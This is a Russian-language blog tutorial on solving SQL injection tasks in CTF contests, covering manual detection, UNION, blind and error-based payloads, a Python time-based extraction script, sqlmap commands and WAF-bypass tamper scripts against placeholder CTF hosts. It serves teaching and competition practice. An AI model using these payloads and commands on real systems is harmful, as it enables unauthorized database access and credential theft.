Главная / Блог / SQL-инъекция в CTF: от поиска до sqlmap

12 мин.00

SQL-инъекция в CTF: от поиска до sqlmap

SQL-инъекция в CTF: от поиска до sqlmap

За два года участия в CTF формата jeopardy я решил больше сотни web-заданий — примерно каждое третье упиралось в SQL-инъекцию. От тривиального ' OR 1=1-- в форме логина до многоступенчатых blind-цепочек с фильтрацией и WAF. Разница между тем, кто решает задание за 15 минут, и тем, кто застревает на час — не в знании теории, а в выработанной методике: сначала руками понять, что происходит, потом переключиться на автоматизацию. Ниже — пошаговый разбор этой методики с реальными payload'ами и командами sqlmap.

Ручное обнаружение sql-инъекции в CTF-задании

Поиск sql-инъекций вручную начинается с одного символа — одинарной кавычки. Есть форма логина, поле поиска или GET-параметр вроде ?id=1 — вставляй ' и смотри на реакцию сервера. Это не «попробовать наудачу», это диагностика. По характеру ответа определяется тип инъекции и СУБД.

В OWASP Top 10 (2021) Injection-уязвимости стоят на третьем месте (A03:2021). SQL-инъекция — классика жанра: пользовательский ввод попадает в SQL-запрос без валидации. По данным Vaadata, только за 2023 год SQL-инъекции засветились в 2159 CVE. На CTF это навык первой необходимости, а в боевых условиях SQL-инъекция — один из основных векторов начального доступа: в терминах MITRE ATT&CK это Exploit Public-Facing Application (T1190, Initial Access). Результат — вытащить данные из БД (T1213.006, Collection) или добраться до учёток (T1552.001, Credential Access).

Кавычка и классификация ответа сервера

Вводите ' в параметр — ?id=1'. Дальше три сценария, и каждый диктует стратегию.

Сервер отдаёт ошибку базы данных. Это error-based sqli. Типичные маркеры: You have an error in your SQL syntax (MySQL), unterminated quoted string at or near (PostgreSQL), ORA-01756 (Oracle), [Microsoft][ODBC SQL Server Driver] (MSSQL). По формату ошибки определяется СУБД — без этого правильный payload не подберёшь.

Ответ изменился, но ошибки нет. Скорее всего boolean-based blind sqli. Страница выглядит иначе: пропал контент, другой заголовок, другой HTTP-код. Проверка: сравнить ответы на ?id=1 AND 1=1-- (нормальный) и ?id=1 AND 1=2-- (должен отличаться).

Ответ идентичен. Остаётся time-based blind sqli. Проверяете задержкой: ?id=1' AND SLEEP(5)-- для MySQL, ?id=1'; WAITFOR DELAY '0:0:5'-- для MSSQL, ?id=1' AND pg_sleep(5)-- для PostgreSQL. Ответ пришёл через пять секунд — инъекция подтверждена.

На этом этапе вы уже знаете тип инъекции и СУБД. Эту информацию потом передаёте sqlmap через --dbms и --technique, и он не тратит тысячи запросов на угадывание.

Определение количества столбцов для UNION

Если сервер возвращает данные в ответе (не blind), следующий шаг — UNION SELECT. Но сначала нужно узнать количество столбцов в оригинальном запросе, иначе СУБД ругнётся на несовпадение.

Два подхода. Оба рабочие, но применимость зависит от фильтрации.

ORDER BY — подбираете номер столбца, пока не получите ошибку. ?id=1 ORDER BY 1--, ORDER BY 2--, ORDER BY 3--... Как только сервер вернул ошибку — предыдущее число и есть количество столбцов. ORDER BY 4-- падает — значит, столбцов три.

UNION SELECT NULL — добавляете NULL'ы, пока запрос не пройдёт. ?id=1 UNION SELECT NULL-- → ошибка, ?id=1 UNION SELECT NULL,NULL-- → ошибка, ?id=1 UNION SELECT NULL,NULL,NULL-- → ок → столбцов три. Этот метод на CTF надёжнее: ORDER BY иногда фильтруется, а NULL не привязан к типу данных.

Union select инъекция: пошаговая эксплуатация

UNION SELECT инъекция — самый частый тип sql-инъекции в ctf. Работает, когда результат SQL-запроса отображается на странице. Цель — «прицепить» свой SELECT к оригинальному запросу и вытащить данные из произвольных таблиц.

Извлечение метаданных через information_schema

Количество столбцов известно (допустим, три). Теперь надо понять, какой из них отображается на странице. Отправляете:

?id=-1 UNION SELECT 1,2,3--

id=-1 гарантирует, что оригинальный запрос ничего не вернёт (несуществующий ID), и на странице появятся только подставленные значения. Видите цифру «2» — второй столбец выводится в ответ. Именно в него и будете вставлять подзапросы.

Список таблиц в MySQL: ?id=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--. GROUP_CONCAT склеивает все имена таблиц в одну строку через запятую — удобнее, чем тянуть по одной.

Столбцы конкретной таблицы: ?id=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'--.

На PostgreSQL вместо information_schema.tables можно использовать pg_catalog.pg_tables, а на SQLite — sqlite_master с запросом SELECT name FROM sqlite_master WHERE type='table'. Тип СУБД вы уже определили на этапе диагностики.

Обход фильтрации кавычек и пробелов

На CTF-заданиях средней сложности фильтруют очевидные символы. Вот типовые ситуации и как их обходить.

Фильтрация кавычек. Если ' экранируется через addslashes() — используйте hex-кодировку. Вместо WHERE table_name='users' пишете WHERE table_name=0x7573657273. MySQL интерпретирует hex как строку без кавычек. Один из самых частых приёмов на CTF.

Фильтрация пробелов. Заменяйте на комментарии: SELECT/**/flag/**/FROM/**/flag. Или на переносы строк: SELECT%0aflag%0aFROM%0aflag. В MySQL работает и табуляция: SELECT%09flag%09FROM%09flag.

Фильтрация ключевых слов SELECT/UNION. Регистрозависимый фильтр? Меняйте регистр: SeLeCt, uNiOn. Фильтр удаляет слово (replace на пустую строку)? Вкладывайте: SELSELECTECT — после удаления внутреннего SELECT останется SELECT. Грубо, но работает.

Мультибайтовая кодировка. На заданиях с кодировкой GBK addslashes() и magic_quotes_gpc обходятся через многобайтовые символы. Байт обратного слеша (0x5c) «поглощается» предшествующим байтом GBK-символа, освобождая кавычку. Символ (код 0x815c) в сочетании с ' формирует последовательность, где слеш от addslashes() становится частью легитимного GBK-символа, а кавычка остаётся свободной. Хитро, да.

Blind sqli в CTF: boolean и time-based техники

Blind sqli — когда сервер не показывает данные из запроса напрямую. Результат определяется косвенно: по изменению ответа или по задержке. Медленнее UNION, но работает в большем количестве случаев.

Boolean-based blind sqli

Сервер отвечает по-разному на «истинный» и «ложный» запрос. Классика: ?id=1 AND 1=1-- возвращает нормальную страницу, ?id=1 AND 1=2-- — пустую или с ошибкой.

Это позволяет задавать серверу вопросы «да/нет» и посимвольно вытягивать данные. Шаблон: ?id=1 AND (SELECT SUBSTRING(flag,1,1) FROM flag)='s'--. Первый символ флага — s? Страница нормальная. Нет — ответ изменится.

Для ускорения — бинарный поиск вместо полного перебора. Проверяете: SUBSTRING(flag,1,1) > 'm' — если TRUE, символ в верхней половине алфавита. Затем > 's', > 'p' и так далее. Вместо 62+ запросов на символ (все буквы, цифры, спецсимволы) хватает 6-7. На флаг из 30 символов — 200 запросов вместо 1800+. Разница между «решил за 10 минут» и «не успел до конца CTF».

Time-based blind sqli и автоматизация скриптом

Time-based blind sqli — самый медленный, но самый надёжный тип. Работает даже когда ответ сервера вообще не меняется визуально. Вся информация — через задержки.

Шаблон для MySQL: ?id=1 AND IF(SUBSTRING((SELECT flag FROM flag),1,1)='s',SLEEP(5),0)--. Первый символ s — сервер отвечает через 5 секунд. Нет — мгновенно.

Руками это делать нереально. Вот минимальный Python-скрипт:

import requests, string

url = "http://target.ctf/page"
flag = ""
for pos in range(1, 50):
    for char in string.printable:
        payload = f"1 AND IF(SUBSTRING((SELECT flag FROM flag),{pos},1)='{char}',SLEEP(3),0)-- -"
        try:
            requests.get(url, params={"id": payload}, timeout=2)
        except requests.exceptions.Timeout:
            flag += char
            print(f"[+] {flag}")
            break

Логика: скрипт шлёт запрос с SLEEP(3) и ставит таймаут 2 секунды. requests.get не дождался ответа — значит, SLEEP(3) сработал и символ угадан. Это базовый пример для понимания концепции. В боевом CTF стоит добавить бинарный поиск, обработку нестабильной сети (повторные запросы) и динамический таймаут.

Error-based sqli: когда сервер помогает атакующему

Error-based sqli работает, когда сервер выводит подробные ошибки СУБД. Быстрее UNION (не нужно определять количество столбцов) и на порядок быстрее blind — данные приходят целиком в тексте ошибки.

Для MySQL классический payload через extractvalue(): ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT flag FROM flag)))--. Сервер вернёт ошибку XPATH syntax error: ':флаг_тут'. Данные — прямо в тексте ошибки. Красота.

Ограничение: extractvalue() отдаёт максимум 32 символа. Флаг длиннее — используете SUBSTRING: concat(0x3a,SUBSTRING((SELECT flag FROM flag),10,32)) — вернёт символы начиная с десятого. Аналогично работает updatexml(): ?id=1 AND updatexml(1,concat(0x3a,(SELECT flag FROM flag)),1)--.

В PostgreSQL для error-based sqli используют приведение типов: ?id=1 AND 1=CAST((SELECT flag FROM flag) AS int)--. СУБД пытается привести строку к числу, ломается и выводит содержимое строки в сообщении об ошибке. PostgreSQL сам тебе флаг отдаёт — надо только правильно попросить.

На CTF error-based sqli встречается реже UNION, но когда попадается — решается быстрее всех остальных типов.

Автоматизация sql-инъекций с sqlmap для CTF

Ручной поиск sql-инъекций даёт понимание механики. Но на CTF, где время ограничено, автоматизация sql-инъекций через sqlmap экономит десятки минут. Sqlmap поддерживает шесть техник эксплуатации: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries и out-of-band. Работает с MySQL, PostgreSQL, Oracle, MSSQL, SQLite, MariaDB и ещё кучей СУБД.

Главное правило, которое я вывел на практике: sqlmap — инструмент эксплуатации, а не обнаружения. Сначала находите инъекцию руками (кавычка, анализ ответа), определяете тип — потом запускаете sqlmap с конкретными параметрами. Без --dbms и --technique sqlmap генерирует тысячи лишних запросов, и на нестабильных CTF-серверах это приводит к таймаутам и ложным отрицательным результатам.

Базовые команды и workflow sqlmap для CTF

Типичная последовательность для CTF-задания, где вы уже нашли инъекцию в ?id=1' с ошибкой MySQL:

Подтверждение и определение типа: python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql --batch. --batch отвечает на все вопросы автоматически, --dbms=mysql ограничивает проверку одной СУБД.

Список баз данных: добавляете --dbs к предыдущей команде.

Список таблиц: python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql -D ctf_db --tables --batch. -D указывает базу.

Список столбцов: -D ctf_db -T users --columns.

Дамп данных: -D ctf_db -T flag -C flag --dump.

Если инъекция в POST-параметре (форма логина), используйте --data: python sqlmap.py -u "http://target.ctf/login" --data="username=admin&password=test" -p username --batch. -p указывает тестируемый параметр.

Для передачи сохранённого HTTP-запроса из Burp Suite: python sqlmap.py -r request.txt --batch. Sqlmap сам разберёт заголовки, cookies и параметры. На CTF это самый быстрый способ — не надо руками копировать cookies и заголовки.

Выбор конкретной техники: --technique=U (UNION), --technique=B (boolean-blind), --technique=T (time-blind), --technique=E (error-based). По умолчанию — BEUSTQ (все шесть). Указание конкретной техники, когда тип уже известен, сокращает время работы sqlmap в разы.

Обход WAF sql-инъекция: tamper-скрипты sqlmap

На продвинутых web ctf заданиях ставят WAF или кастомную фильтрацию: блокируют SELECT, UNION, пробелы, кавычки, комментарии. Sqlmap для CTF предлагает tamper-скрипты — модули, которые модифицируют каждый payload перед отправкой.

python sqlmap.py -u "http://target.ctf/page?id=1" \
  --tamper=space2comment,randomcase \
  --dbms=mysql --batch --dbs

Основные tamper-скрипты для CTF:

Скрипт Что делает Когда применять
space2comment Заменяет пробелы на /**/ Фильтрация пробелов
randomcase Меняет регистр: SeLeCt Регистрозависимая фильтрация SELECT/UNION
between Заменяет > на NOT BETWEEN 0 AND Фильтрация операторов сравнения
charencode URL-кодирует payload Обход простых WAF
equaltolike Заменяет = на LIKE Фильтрация знака =
space2hash Пробелы → # + перенос строки MySQL, фильтрация пробелов

Скрипты комбинируются: --tamper=space2comment,randomcase,between применяет все три последовательно. Для типичного CTF с фильтрацией SELECT и FROM обычно хватает randomcase — замена SELECT на SeLeCt обходит регистрозависимую проверку. Фильтруются кавычки — charencode в комбинации с hex-кодировкой.

Стандартные tamper-скрипты не помогают? Повышайте уровень: --level=3 --risk=2 заставляют sqlmap проверять cookies, HTTP-заголовки (Referer, User-Agent) и использовать более агрессивные payload'ы. --level=5 --risk=3 — допустимый максимум на CTF, когда стандартные настройки не дали результата.

Предусловия и ограничения техник эксплуатации

Каждая техника эксплуатации sql-инъекций работает при определённых условиях. Прежде чем тратить время на CTF, проверьте предусловия:

Техника Предусловие Ограничение
UNION SELECT Данные запроса отображаются на странице Нужно знать количество столбцов
Boolean-based blind Ответ отличается для TRUE/FALSE условий 6-7 запросов на один символ
Time-based blind СУБД поддерживает SLEEP/WAITFOR/pg_sleep Самая медленная, зависит от сети
Error-based Подробные ошибки СУБД выводятся в ответ Лимит 32 символа на вызов
Stacked queries СУБД и драйвер поддерживают ; Не работает с MySQL через mysqli_query

Stacked queries стоят отдельного комментария. Они позволяют не только читать, но и модифицировать базу — INSERT, UPDATE, DELETE. В MITRE ATT&CK это SQL Stored Procedures (T1505.001, Persistence): атакующий может создать хранимую процедуру для закрепления в системе. На CTF stacked queries встречаются в заданиях с PostgreSQL и MSSQL, но почти никогда с MySQL через стандартный PHP-драйвер — mysqli_query() выполняет только один запрос. Это важно знать, чтобы не тратить время на невозможное.

Полный workflow: от Burp Suite к флагу

Финальная сборка — как выглядит решение CTF-задания от начала до конца.

Разведка. Открываете задание, находите точки ввода: GET-параметры, POST-формы, cookies, HTTP-заголовки. Запускаете Burp Suite и проксируете трафик.

Ручная проверка. В Burp Repeater подставляете ' в каждый параметр. Анализируете: ошибка СУБД, изменение контента, задержка.

Классификация. Определяете тип (UNION, blind, error-based) и СУБД (MySQL, PostgreSQL, SQLite, MSSQL) по формату ответа.

Ручная эксплуатация. Для UNION: определяете столбцы через ORDER BY или NULL, извлекаете information_schema, находите таблицу с флагом. Для blind: подтверждаете тип и пишете скрипт или переходите к sqlmap.

Автоматизация. Сохраняете HTTP-запрос из Burp через Copy to file, передаёте в sqlmap: python sqlmap.py -r request.txt --dbms=mysql --technique=U --batch --dump.

Обход фильтрации. Sqlmap не находит инъекцию — добавляете --tamper, поднимаете --level и --risk, указываете конкретный параметр через -p.

Этот workflow закрывает абсолютное большинство web ctf заданий с SQL-инъекциями за 10-20 минут. Нестандартные случаи — мультибайтовая кодировка (GBK), second-order injection (payload сохраняется в БД и срабатывает позже), инъекция в ORDER BY без UNION — требуют отдельного подхода, но базовая диагностика та же: кавычка, анализ ответа, классификация.

Большинство CTF-игроков делятся на два лагеря: одни пытаются решить всё руками и тратят час на blind sqli с бинарным поиском, другие сразу запускают sqlmap -u ... --dump и удивляются, почему инструмент не работает без --dbms и --technique. Обе стратегии проигрышные. Ручной поиск — это диагностика. Sqlmap — скальпель для эксплуатации. Один без другого работает плохо.

По моему опыту, самый устойчивый навык — переключение между режимами. Две минуты в Burp Repeater дают информацию, которая экономит sqlmap десятки тысяч лишних запросов. А sqlmap за минуту вытягивает данные, которые вручную пришлось бы собирать полчаса. Навык нарабатывается только практикой на разнообразных заданиях — одного типа инъекций недостаточно. CTF-задания на sql-инъекцию с каждым годом смещаются от UNION к blind и от чистой инъекции к комбинированным цепочкам: SQLi + SSRF, SQLi + десериализация, SQLi через HTTP-заголовки. Если весь арсенал ограничен уровнем ' OR 1=1--, через год половина web-тасков окажется нерешаемой. На WAPT в Codeby эту прогрессию проходят в двух модулях — от базовых инъекций до WAF bypass с лабой на каждый кейс.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Netcat и socat для CTF: подключения, шеллы и файлы

12 мин.

3

Netcat и socat для CTF: подключения, шеллы и файлы

Пошаговые команды netcat и socat для CTF: reverse shell, стабилизация TTY, передача файлов. Разбор каждого флага и типичных ошибок новичков.

3 СЕНТЯБРЬ, 2026

Криптография в CTF: ломаем RSA и классические шифры

12 мин.

7

Криптография в CTF: ломаем RSA и классические шифры

Разбираем 5 атак на RSA для CTF: кубический корень при e=3, Хастад, Винер, факторизация. Python-код, RsaCtfTool и чеклист решения задач.

3 СЕНТЯБРЬ, 2026

Reverse engineering с нуля: crackme в Ghidra

12 мин.

5

Reverse engineering с нуля: crackme в Ghidra

Пошаговый разбор crackme в Ghidra: от импорта бинарника до извлечения пароля через Defined Strings. Три паттерна проверки, ошибки новичков и чек-лист.

2 СЕНТЯБРЬ, 2026